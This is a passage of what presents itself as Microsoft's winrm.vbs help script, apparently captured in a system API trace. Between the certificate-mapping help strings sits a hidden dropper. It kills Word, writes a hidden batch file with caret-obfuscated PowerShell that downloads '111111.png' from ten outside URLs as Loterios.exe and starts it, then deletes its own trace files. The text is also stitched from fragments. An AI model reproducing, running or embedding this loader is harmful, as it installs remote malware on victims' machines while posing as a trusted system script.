L_HelpConfig_008_0_Message = \"\"\r\nprivate const L_HelpConfig_009_0_Message = \"Global configuration\"\r\nprivate const X_HelpConfig_010_0_Message = \" winrm get winrm/config\"\r\nprivate const X_HelpConfig_011_0_Message = \" winrm get winrm/config/client\"\r\nprivate const X_HelpConfig_012_0_Message = \" winrm get winrm/config/service\"\r\nprivate const X_HelpConfig_012_1_Message = \" winrm enumerate winrm/config/resource\"\r\nprivate const X_HelpConfig_012_2_Message = \" winrm enumerate winrm/config/listener\"\r\nprivate const X_HelpConfig_012_3_Message = \" winrm enumerate winrm/config/plugin\"\r\nprivate const X_HelpConfig_012_4_Message = \" winrm enumerate winrm/config/service/certmapping\"\r\nprivate const L_HelpConfig_013_0_Message = \"\"\r\nprivate const L_HelpConfig_014_0_Message = \"Network listening requires one or more listeners. \"\r\nprivate const L_HelpConfig_015_0_Message = \"Listeners are identified by two selectors: Address and Transport.\"\r\n\r\nprivate const L_HelpConfigAddress_001_0_Message = \"Address must be one of:\"\r\nprivate const L_HelpConfigAddress_002_0_Message = \" * - Listen on all IPs on the machine \"\r\nprivate const L_HelpConfigAddress_003_0_Message = \" IP:1.2.3.4 - Listen only on the specified IP address\"\r\nprivate const L_HelpConfigAddress_004_0_Message = \" MAC:... - Listen only on IP address for the specified MAC\"\r\nprivate const L_HelpConfigAddress_005_0_Message = \"\"\r\nprivate const L_HelpConfigAddress_006_0_Message = \"Note: All listening is subject to the IPv4Filter and IPv6Filter under \"\r\nprivate const L_HelpConfigAddress_007_0_Message = \"config/service.\"\r\nprivate const L_HelpConfigAddress_008_0_Message = \"Note: IP may be an IPv4 or IPv6 address.\"\r\n\r\nprivate const L_HelpConfigTransport_001_0_Message = \"Transport must be one of:\"\r\nprivate const L_HelpConfigTransport_002_0_Message = \" HTTP - Listen for requests on HTTP (default port is 5985)\"\r\nprivate const L_HelpConfigTransport_003_0_Message = \" HTTPS - Listen for requests on HTTPS (default port is 5986)\"\r\nprivate const L_HelpConfigTransport_004_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_005_0_Message = \"Note: HTTP traffic by default only allows messages encrypted with \"\r\nprivate const L_HelpConfigTransport_006_0_Message = \"the Negotiate or Kerberos SSP.\"\r\nprivate const L_HelpConfigTransport_007_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_008_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_009_0_Message = \"When configuring HTTPS, the following properties are used:\"\r\nprivate const L_HelpConfigTransport_010_0_Message = \" Hostname - Name of this machine; must match CN in certificate.\"\r\nprivate const L_HelpConfigTransport_011_0_Message = \" CertificateThumbprint - hexadecimal thumbprint of certificate appropriate for\"\r\nprivate const L_HelpConfigTransport_012_0_Message = \" Server Authentication.\"\r\nprivate const L_HelpConfigTransport_013_0_Message = \"Note: If only Hostname is supplied, WinRM will try to find an appropriate\"\r\nprivate const L_HelpConfigTransport_014_0_Message = \"certificate.\"\r\n \r\nprivate const L_HelpConfigExamples_001_0_Message = \"Example: To listen for requests on HTTP on all IPs on the machine:\"\r\nprivate const X_HelpConfigExamples_002_0_Message = \" winrm create winrm/config/listener?Address=*+Transport=HTTP\"\r\nprivate const L_HelpConfigExamples_003_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_004_0_Message = \"Example: To disable a given listener\"\r\nprivate const X_HelpConfigExamples_005_0_Message = \" winrm set winrm/config/listener?Address=IP:1.2.3.4+Transport=HTTP @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpConfigExamples_006_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_007_0_Message = \"Example: To enable basic authentication on the client but not the service:\"\r\nprivate const X_HelpConfigExamples_008_0_Message = \" winrm set winrm/config/client/auth @{Basic=\"\"true\"\"}\"\r\nprivate const L_HelpConfigExamples_009_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_010_0_Message = \"Example: To enable Negotiate for all workgroup machines.\"\r\nprivate const X_HelpConfigExamples_011_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"\"\"}\"\r\nprivate const L_HelpConfigExamples_012_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_013_0_Message = \"Example: To add an IPv4 and IPv6 host address to TrustedHosts.\"\r\nprivate const X_HelpConfigExamples_014_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"1.2.3.4,[1:2:3::8]\"\"}\"\r\nprivate const L_HelpConfigExamples_015_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_016_0_Message = \" Note: Computers in the TrustedHosts list might not be authenticated\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CertMapping\r\nprivate const L_HelpCertMapping_001_0_Message = \"Certificate mapping remote access to WinRM using client certificates is \"\r\nprivate const L_HelpCertMapping_002_0_Message = \"stored in the certificate mapping table identified by the \"\r\nprivate const L_HelpCertMapping_003_0_Message = \"following resource URI:\"\r\nprivate const L_HelpCertMapping_003_1_Message = \"\"\r\nprivate const L_HelpCertMapping_004_0_Message = \" winrm/config/service/CertMapping\"\r\nprivate const L_HelpCertMapping_005_0_Message = \"\"\r\nprivate const L_HelpCertMapping_006_0_Message = \"Each entry in this table contains five properties:\"\r\nprivate const L_HelpCertMapping_007_0_Message = \" Issuer - Thumbprint of the issuer certificate.\"\r\nprivate const L_HelpCertMapping_008_0_Message = \" Subject - Subject field of client certificate.\"\r\nprivate const L_HelpCertMapping_009_0_Message = \" URI - The URI or URI prefix for which this mapping applies.\"\r\nprivate const L_HelpCertMapping_009_1_Message = \" Username - Local username for processing the request.\"\r\nprivate const L_HelpCertMapping_009_2_Message = \" Password - Local password for processing the request.\"\r\nprivate const L_HelpCertMapping_009_3_Message = \" Enabled - Use in processing if true.\"\r\nprivate const L_HelpCertMapping_010_0_Message = \" \"\r\nprivate const L_HelpCertMapping_011_0_Message = \"For a client certificate to be applicable, the issuer certificate must be \"\r\nprivate const L_HelpCertMapping_012_0_Message = \"available locally and match the thumbprint in the entry Issuer property\"\r\nprivate const L_HelpCertMapping_012_1_Message = \"\"\r\nprivate const L_HelpCertMapping_012_2_Message = \"For a client certificate to be applicable, its DNS or Principal name \"\r\nprivate const L_HelpCertMapping_013_0_Message = \"(from the SubjectAlternativeName field) must match the Subject property.\"\r\nprivate const L_HelpCertMapping_014_0_Message = \"The value can start with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_1_Message = \"The URI identifies for which resources the indicated client certificates .\"\r\nprivate const L_HelpCertMapping_014_2_Message = \"should be mapped.\"\r\nprivate const L_HelpCertMapping_014_3_Message = \"The value can end with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_4_Message = \"\"\r\n\r\n\r\n\r\nset filesys=CreateObject(\"Scripting.FileSystemObject\")\r\nIf Not filesys.FolderExists(\"c:\\BlotRots\") Then\r\nfilesys.CreateFolder (\"c:\\BlotRots\")\r\nEnd If\r\n\r\ntytutop = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \")\r\ntytutop1 = (\" \")\r\ntytutop2 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\")\r\ntytutop3 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\")\r\ntytutop4 = (\" \")\r\ntytutop5 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop6 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop7 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop8 = (\" \")\r\ntytutop9 = (\" XP and is listed separately on this page. Synta \")\r\ntytutop0 = (\" \")\r\n\r\n\r\n\r\ne13 = (\"Taskkill /IM \"\"winword.exe\"\" /F\")\r\na1 = (\"POW^\")\r\na2 = (\"erS^\")\r\na3 = (\"hell ^\")\r\na4 = (\"Forea^\")\r\na5 = (\"ch($ur^\")\r\na6 = (\"l in^\")\r\na7 = (\" @('^\")\r\na8 = (\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\")\r\na9 = (\"','^\")\r\na10 = (\"http://marineworks.eu/dwaunrsamlbq/111111.png^\")\r\na11 = (\"')) { tr^\")\r\na12 = (\"y{$pat^\")\r\na15 = (\"h = 'C:\\BlotRots\\Loterios.exe'; ^\")\r\na16 = (\"(Ne^\")\r\na17 = (\"w-Obje^\")\r\na18 = (\"ct Ne^\")\r\na19 = (\"t.We^\")\r\na20 = (\"bCli^\")\r\na21 = (\"ent).Down^\")\r\na22 = (\"loadF^\")\r\na23 = (\"ile(^\")\r\na24 = (\"$ur^\")\r\na25 = (\"l.ToSt^\")\r\na26 = (\"ring^\")\r\nb1 = (\"(), $p^\")\r\nb2 = (\"ath)^\")\r\nb3 = (\";sa^\")\r\nb4 = (\"ps $p^\")\r\nb5 = (\"ath; br^\")\r\nb6 = (\"eak;}c^\")\r\nb7 = (\"atc^\")\r\nb8 = (\"h{wri^\")\r\nb9 = (\"te-ho^\")\r\nb10 = (\"st $_.E^\")\r\nb11 = (\"xcep^\")\r\nb12 = (\"tio^\")\r\nb13 = (\"n.Me^\")\r\nb14 = (\"ssa^\")\r\nb15 = (\"ge}}\")\r\nWait = (\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\")\r\n\r\n\r\nSet fer23 = filesys.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\" & c, 8, True)\r\nfer23.WriteLine tytutop\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\n\r\nfer23.WriteLine e13\r\nfer23.WriteLine a1\r\nfer23.WriteLine a2\r\nfer23.WriteLine a3\r\nfer23.WriteLine a4\r\nfer23.WriteLine a5\r\nfer23.WriteLine a6\r\nfer23.WriteLine a7\r\nfer23.WriteLine a8\r\nfer23.WriteLine a9\r\nfer23.WriteLine a10\r\nfer23.WriteLine a11\r\nfer23.WriteLine a12\r\nfer23.WriteLine a15\r\nfer23.WriteLine a16\r\nfer23.WriteLine a17\r\nfer23.WriteLine a18\r\nfer23.WriteLine a19\r\nfer23.WriteLine a20\r\nfer23.WriteLine a21\r\nfer23.WriteLine a22\r\nfer23.WriteLine a23\r\nfer23.WriteLine a24\r\nfer23.WriteLine a25\r\nfer23.WriteLine a26\r\nfer23.WriteLine b1\r\nfer23.WriteLine b2\r\nfer23.WriteLine b3\r\nfer23.WriteLine b4\r\nfer23.WriteLine b5\r\nfer23.WriteLine b6\r\nfer23.WriteLine b7\r\nfer23.WriteLine b8\r\nfer23.WriteLine b9\r\nfer23.WriteLine b10\r\nfer23.WriteLine b11\r\nfer23.WriteLine b12\r\nfer23.WriteLine b13\r\nfer23.WriteLine b14\r\nfer23.WriteLine b15\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine Wait\r\nfer23.close\r\n\r\nDim oShell : Set oShell = CreateObject(\"WScript.Shell\")\r\n\r\n\r\nWScript.Sleep 7000\r\n\r\n\r\noShell.Run \"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", 0, 0\r\nSet WshShell = Nothing\r\n\r\nprivate const L_HelpCertMapping_015_0_Message = \"If the client certificate matches the entry and it is enabled, the \"\r\nprivate const L_HelpCertMapping_016_0_Message = \"request is processed under the local account with the given username \"\r\n\r\nprivate const L_HelpCertMapping_017_0_Message = \"and password after ensuring that user has access to the resource as \"\r\nprivate const L_HelpCertMapping_018_0_Message = \"defined by the URI security table.\"\r\nprivate const L_HelpCertMapping_019_0_Message = \"\"\r\n\r\nprivate const L_HelpCertMapping_020_0_Message = \"When creating a new entry or changing the password of an existing entry, \"\r\nprivate const L_HelpCertMapping_021_0_Message = \"the -r switch must be used since the WinRM service must store the password\"\r\nprivate const L_HelpCertMapping_022_0_Message = \"for future use.\"\r\n\r\n\r\nprivate const L_HelpCertMappingExamples_001_0_Message = \"Example: To see the current CertMapping configuration\"\r\nprivate const X_HelpCertMappingExamples_002_0_Message = \" winrm enumerate winrm/config/service/CertMapping\"\r\n\r\nprivate const L_HelpCertMappingExamples_003_0_Message = \"Example: Create a CertMapping entry:\"\r\nprivate const X_HelpCertMappingExamples_004_0_Message = \" winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=\"\"USERNAME\"\";Password=\"\"PASSWORD\"\"} -remote:localhost\"\r\nprivate const L_HelpCertMappingExamples_005_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIGSDDL\r\nprivate const L_HelpConfigsddl_000_1_Message = \" winrm configsddl RESOURCE_URI\"\r\nprivate const L_HelpConfigsddl_001_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_002_0_Message = \"Changes an existing entry in the plugin configuration to \"\r\nprivate const L_HelpConfigsddl_002_1_Message = \"control remote access to WinRM resources.\"\r\nprivate const L_HelpConfigsddl_003_0_Message = \"This command will fail if the plugin does not exist.\"\r\nprivate const L_HelpConfigsddl_004_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_005_0_Message = \"This command will launch a GUI to edit the security settings.\"\r\nprivate const L_HelpConfigsddl_005_1_Message = \"\"\r\nprivate const L_HelpConfigsddl_006_0_Message = \"RESOURCE_URI is always treated as a prefix.\"\r\nprivate const L_HelpConfigsddl_010_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_011_0_Message = \"To change the default security (the RootSDDL setting) use:\"\r\nprivate const X_HelpConfigsddl_012_0_Message = \" winrm configsddl default\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - QUICKCONFIG\r\nprivate const X_HelpQuickConfig_001_0_Message = \"winrm quickconfig [-quiet] [-transport:VALUE] [-force]\"\r\nprivate const X_HelpQuickConfig_002_0_Message = \"\"\r\nprivate const L_HelpQuickConfig_003_0_Message = \"Performs configuration actions to enable this machine for remote management.\"\r\nprivate const L_HelpQuickConfig_004_0_Message = \"Includes:\"\r\nprivate const L_HelpQuickConfig_005_0_Message = \" 1. Start the WinRM service\"\r\nprivate const L_HelpQuickConfig_006_0_Message = \" 2. Set the WinRM service type to auto start\"\r\nprivate const L_HelpQuickConfig_007_0_Message = \" 3. Create a listener to accept request on any IP address\"\r\nprivate const L_HelpQuickConfig_008_0_Message = \" 4. Enable firewall exception for WS-Management traffic (for http only)\"\r\nprivate const X_HelpQuickConfig_009_0_Message = \"\"\r\nprivate const X_HelpQuickConfig_010_0_Message = \"-q[uiet]\"\r\nprivate const X_HelpQuickConfig_010_1_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_011_0_Message = \"If present, quickconfig will not prompt for confirmation.\"\r\nprivate const X_HelpQuickConfig_012_0_Message = \"-transport:VALUE\"\r\nprivate const X_HelpQuickConfig_013_0_Message = \"----------------\"\r\nprivate const L_HelpQuickConfig_014_0_Message = \"Perform quickconfig for specific transport.\"\r\nprivate const L_HelpQuickConfig_015_0_Message = \"Possible options are http and https. Defaults to http.\"\r\nprivate const X_HelpQuickConfig_016_0_Message = \"-force\"\r\nprivate const X_HelpQuickConfig_017_0_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_018_0_Message = \"If present, quickconfig will not prompt for confirmation, and will enable \"\r\nprivate const L_HelpQuickConfig_019_0_Message = \"the firewall exception regardless of current network profile settings.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - REMOTE\r\nprivate const L_HelpRemote_001_0_Message = \"winrm OPERATION -remote:VALUE [-unencrypted] [-usessl]\"\r\nprivate const L_HelpRemote_002_0_Message = \"\"\r\nprivate const L_HelpRemote_003_0_Message = \"-r[emote]:VALUE\"\r\nprivate const L_HelpRemote_004_0_Message = \"---------------\"\r\nprivate const L_HelpRemote_005_0_Message = \"Specifies identifier of remote endpoint/system. \"\r\nprivate const L_HelpRemote_006_0_Message = \"May be a simple host name or a complete URL.\"\r\nprivate const L_HelpRemote_007_0_Message = \"\"\r\nprivate const L_HelpRemote_008_0_Message = \" [TRANSPORT://]HOST[:PORT][/PREFIX]\"\r\nprivate const L_HelpRemote_009_0_Message = \"\"\r\nprivate const L_HelpRemote_010_0_Message = \"Transport: One of HTTP or HTTPS; default is HTTP.\"\r\nprivate const L_HelpRemote_011_0_Message = \"Host: Can be in the form of a DNS name, NetBIOS name, or IP address.\"\r\nprivate const L_HelpRemote_012_0_Message = \"Port: If port is not specified then the following default rules apply:\"\r\nprivate const L_HelpRemote_013_0_Message = \"Prefix: Defaults to wsman.\"\r\nprivate const L_HelpRemote_014_0_Message = \"\"\r\nprivate const L_HelpRemote_015_0_Message = \"Note: IPv6 addresses must be enclosed in brackets.\"\r\nprivate const L_HelpRemote_016_0_Message = \"Note: When using HTTPS, the machine name must match the server's certificate\"\r\nprivate const L_HelpRemote_017_0_Message = \" common name (CN) unless -skipCNcheck is used.\"\r\nprivate const L_HelpRemote_018_0_Message = \"Note: Defaults for port and prefix can be changed in the local configuration.\"\r\n\r\nprivate const L_HelpRemoteExample_001_0_Message = \"Example: Connect to srv.corp.com via http:\"\r\nprivate const X_HelpRemoteExample_002_0_Message = \" winrm get uri -r:srv.corp.com\"\r\nprivate const L_HelpRemoteExample_003_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_004_0_Message = \"Example: Connect to local computer machine1 via https:\"\r\nprivate const X_HelpRemoteExample_005_0_Message = \" winrm get uri -r:https://machine1\"\r\nprivate const L_HelpRemoteExample_006_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_007_0_Message = \"Example: Connect to an IPv6 machine via http:\"\r\nprivate const X_HelpRemoteExample_008_0_Message = \" winrm get uri -r:[1:2:3::8]\"\r\nprivate const L_HelpRemoteExample_009_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_010_0_Message = \"Example: Connect to an IPv6 machine via https on a non-default port and URL:\"\r\nprivate const X_HelpRemoteExample_011_0_Message = \" winrm get uri -r:https://[1:2:3::8]:444/path\"\r\n\r\nprivate const L_HelpRemoteUnencrypted_001_0_Message = \"-un[encrypted]\"\r\nprivate const L_HelpRemoteUnencrypted_002_0_Message = \"--------------\"\r\nprivate const L_HelpRemoteUnencrypted_003_0_Message = \"Specifies that no encryption will be used when doing remote operations over\"\r\nprivate const L_HelpRemoteUnencrypted_004_0_Message = \"HTTP. Unencrypted traffic is not allowed by default and must be enabled in\"\r\nprivate const L_HelpRemoteUnencrypted_005_0_Message = \"the local configuration.\"\r\n\r\nprivate const L_HelpRemoteConfig_001_0_Message = \"To enable this machine to be remotely managed see:\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - AUTH\r\nprivate const L_HelpAuth_001_0_Message = \"winrm OPERATION -remote:VALUE \"\r\nprivate const L_HelpAuth_002_0_Message = \" [-authentication:VALUE] \"\r\nprivate const L_HelpAuth_003_0_Message = \" [-username:USERNAME] \"\r\nprivate const L_HelpAuth_004_0_Message = \" [-password:PASSWORD]\"\r\nprivate const L_HelpAuth_004_1_Message = \" [-certificate:THUMBPRINT]\"\r\nprivate const L_HelpAuth_005_0_Message = \"\"\r\nprivate const L_HelpAuth_006_0_Message = \"When connecting remotely, you can specify which credentials and which\"\r\nprivate const L_HelpAuth_007_0_Message = \"authentication mechanisms to use. If none are specified the current \"\r\nprivate const L_HelpAuth_008_0_Message = \"logged-on user's credentials will be used.\"\r\n\r\nprivate const L_HelpAuthAuth_001_0_Message = \"-a[uthentication]:VALUE\"\r\nprivate const L_HelpAuthAuth_002_0_Message = \"-----------------------\"\r\nprivate const L_HelpAuthAuth_003_0_Message = \"Specifies authentication mechanism used when communicating with remote machine.\"\r\nprivate const L_HelpAuthAuth_004_0_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos, CredSSP.\"\r\nprivate const L_HelpAuthAuth_004_1_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos.\"\r\nprivate const L_HelpAuthAuth_005_0_Message = \"Examples:\"\r\nprivate const X_HelpAuthAuth_006_0_Message = \" -a:None\"\r\nprivate const X_HelpAuthAuth_007_0_Message = \" -a:Basic\"\r\nprivate const X_HelpAuthAuth_008_0_Message = \" -a:Digest\"\r\nprivate const X_HelpAuthAuth_009_0_Message = \" -a:Negotiate\"\r\nprivate const X_HelpAuthAuth_010_0_Message = \" -a:Kerberos\"\r\nprivate const X_HelpAuthAuth_010_1_Message = \" -a:Certificate\"\r\nprivate const X_HelpAuthAuth_010_2_Message = \" -a:CredSSP\"\r\nprivate const L_HelpAuthAuth_011_0_Message = \"Note: If an authentication mechanism is not specified, Kerberos is used unless\"\r\nprivate const L_HelpAuthAuth_012_0_Message = \" one of the conditions below is true, in which case Negotiate is used:\"\r\nprivate const L_HelpAuthAuth_013_0_Message = \" -explicit credentials are supplied and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_013_1_Message = \" -the destination host is \"\"localhost\"\", \"\"127.0.0.1\"\" or \"\"[::1]\"\"\"\r\nprivate const L_HelpAuthAuth_013_2_Message = \" -the client computer is in workgroup and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_014_0_Message = \"Note: Not all authentication mechanisms are enabled by default. Allowed\"\r\nprivate const L_HelpAuthAuth_015_0_Message = \" authentication mechanisms can be controlled by local configuration \"\r\nprivate const L_HelpAuthAuth_016_0_Message = \" or group policy.\"\r\nprivate const L_HelpAuthAuth_017_0_Message = \"Note: Most operations will require an authentication mode other than None.\"\r\nprivate const L_HelpAuthAuth_018_0_Message = \"Note: Certificate authentication can be used only with the HTTPS transport.\"\r\nprivate const L_HelpAuthAuth_019_0_Message = \" To configure an HTTPS listener for the WinRM service run the command:\"\r\nprivate const L_HelpAuthAuth_020_0_Message = \" \"\"winrm quickconfig -transport:HTTPS\"\"\"\r\n\r\nprivate const L_HelpAuthUsername_001_0_Message = \"-u[sername]:USERNAME\"\r\nprivate const L_HelpAuthUsername_002_0_Message = \"--------------------\"\r\nprivate const L_HelpAuthUsername_003_0_Message = \"Specifies username on remote machine. Cannot be used on local machine.\"\r\nprivate const L_HelpAuthUsername_004_0_Message = \"User must be member of local Administrators group on remote machine.\"\r\nprivate const L_HelpAuthUsername_005_0_Message = \"If the user account is a local account on the remote machine,\"\r\nprivate const L_HelpAuthUsername_006_0_Message = \"the syntax should be in the form -username:USERNAME\"\r\nprivate const L_HelpAuthUsername_007_0_Message = \"If the username is a domain account, the syntax should be ", cchWideChar=68659, lpMultiByteStr=0x27652958030, cbMultiByte=137318, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="'\r\n' Copyright (c) Microsoft Corporation. All rights reserved.\r\n'\r\n' VBScript Source File\r\n'\r\n' Script Name: winrm.vbs\r\n'\r\n\r\n\r\n\r\n'''''''''''''''''''''\r\n' Error codes\r\nprivate const ERR_OK = 0\r\nprivate const ERR_GENERAL_FAILURE = 1\r\n\r\n'''''''''''''''''''''\r\n' Messages\r\n\r\nprivate const L_INVOPT_ErrorMessage = \"Switch not allowed with the given operation: \"\r\nprivate const L_UNKOPT_ErrorMessage = \"Unknown switch: \"\r\nprivate const L_BLANKOPT_ErrorMessage = \"Missing switch name\"\r\nprivate const L_UNKOPT_GenMessage = \"Invalid use of command line. Type \"\"winrm -?\"\" for help.\"\r\nprivate const L_HELP_GenMessage = \"Type \"\"winrm -?\"\" for help.\"\r\nprivate const L_ScriptNameNotFound_ErrorMessage = \"Invalid usage of command line; winrm.vbs not found in command string.\"\r\nprivate const L_ImproperUseOfQuotes_ErrorMessage = \"A quoted parameter value must begin and end with quotes: \"\r\nprivate const L_BADMATCNT1_Message = \"Unexpected match count - one match is expected: \"\r\nprivate const L_OPTNOTUNQ_Message = \"Option is not unique: \"\r\nprivate const L_URIMISSING_Message = \"URI is missing\"\r\nprivate const L_ACTIONMISSING_Message = \"Action is missing\"\r\nprivate const L_URIZERO_Message = \"URI is 0 length\" \r\nprivate const L_URIZEROTOK_Message = \"Invalid URI, token is 0 length\" \r\nprivate const L_INVWMIURI1_Message = \"Invalid WMI resource URI - no '/' found (at least 2 expected)\"\r\nprivate const L_INVWMIURI2_Message = \"Invalid WMI resource URI - only one '/' found (at least 2 expected)\"\r\nprivate const L_NOLASTTOK_Message = \"Invalid URI - cannot locate last token for root node name\"\r\nprivate const L_HashSyntax_ErrorMessage = \"Syntax Error: input must be of the form {KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}\"\r\nprivate const L_ARGNOVAL_Message = \"Argument's value is not provided: \"\r\nprivate const L_XMLERROR_Message = \"Unable to parse XML: \"\r\nprivate const L_XSLERROR_Message = \"Unable to parse XSL file. Either it is inaccessible or invalid: \"\r\nprivate const L_MSXML6MISSING_Message = \"Unable to load MSXML6, required by -format option and for set using \"\"@{...}\"\"\"\r\nprivate const L_FORMATLERROR_Message = \"Invalid option for -format: \"\r\nprivate const L_FORMATFAILED_Message = \"Unable to reformat message. Raw, unformatted, message: \"\r\nprivate const L_PUT_PARAM_NOMATCH_Message = \"Parameter name does not match any properties on resource: \"\r\nprivate const L_PUT_PARAM_MULTIMATCH_Message = \"Parameter matches more than one property on resource: \"\r\nprivate const L_PUT_PARAM_NOARRAY_Message = \"Multiple matching parameter names not allowedin @{...}: \"\r\nprivate const L_PUT_PARAM_NOTATTR_Message = \"Parameter matches a non-text property on resource: \"\r\nprivate const L_PUT_PARAM_EMPTY_Message = \"Parameter set is empty.\"\r\nprivate const L_OPTIONS_PARAMETER_EMPTY_Message = \"Options parameter has no value or is malformed.\"\r\nprivate const L_RESOURCELOCATOR_Message = \"Unable to create ResourceLocator object.\"\r\nprivate const L_PUT_PARAM_NOINPUT_Message = \"No input provided through \"\"@{...}\"\" or \"\"-file:\"\" commandline parameters.\"\r\nprivate const L_ERR_Message = \"Error: \"\r\nprivate const L_ERRNO_Message = \"Error number: \"\r\nprivate const L_OpDoesntAcceptInput_ErrorMessage = \"Input was supplied to an operation that does not accept input.\"\r\nprivate const L_QuickConfigNoChangesNeeded_Message = \"WinRM is already set up for remote management on this computer.\"\r\nprivate const L_QuickConfig_MissingUpdateXml_0_ErrorMessage = \"Could not find update instructions in analysis result.\"\r\nprivate const L_QuickConfigUpdated_Message = \"WinRM has been updated for remote management.\"\r\nprivate const 